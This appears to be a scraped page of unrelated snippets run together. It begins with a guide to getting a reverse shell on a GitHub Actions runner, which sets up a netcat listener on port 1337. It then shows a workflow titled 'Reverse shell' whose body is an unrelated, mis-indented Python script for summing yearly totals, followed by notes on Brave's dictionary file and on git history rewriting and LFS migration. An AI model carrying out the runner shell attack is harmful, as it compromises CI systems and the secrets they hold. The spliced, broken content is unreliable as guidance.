How to get a shell on a GH runner

Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:

nc -nvlp 1337

Then run the following workflow in GH actions:

name: Reverse shell
# given a bunch of folders which are years, and contents which are files of the form YYYY-mm-dd - name - $1234.56,
# this script returns a sum of totals by year
import os
totals = {}
for year in os.listdir('.'):
if os.path.isdir(year) and not year.startswith('.'):
total = 0

Edit Brave Browser Dictionary

Fix Brave Browser Dictionary

If you have ever mistakenly added a word to the Brave browser dictionary, you need to manually edit the Custom Dictionary.txt file.

As of March 2020, the Brave UI lacks a feature to do this.

Where is the file?

This will depend on your OS. Google for where this is on your OS.

The file on macOS is at: ~/Library/Application\ Support/BraveSoftware/Brave-Browser/Default/Custom\ Dictionary.txt.

Rewriting repository history

Sometimes history rewrites are required in order to migrate repositories into github.com. Several factors can dictate the need to rewrite history of a repository:

  • objects larger than 100Mb
  • commits larger than the 2GB push limit

Although rewriting history might not be required for your repository to migrate to github.com, you may consider rewriting history for several reasons:

  • migrate large objects to LFS
  • cleanup previous mistakes or bad practices that caused repo bloat
  • remove secrets from repo history

LFS Migration

GitHub blocks files larger than 100 MiB. Therefore, if you are migrating a repository with objects larger than 100 Mib to Github, you'll need to migrate those large objects to LFS.

A note about OS

By default, windows and mac do not have a case sensitive filesystem. For this reason, I recommend using linux for lfs migration. Also, if the lfs migration seems to take a long time, this is often due to lots of disk I/O. To speed things up, use a cloud linux instance with max disk I/O.

Before migrating to LFS

Make sure you have git-lfs installed.
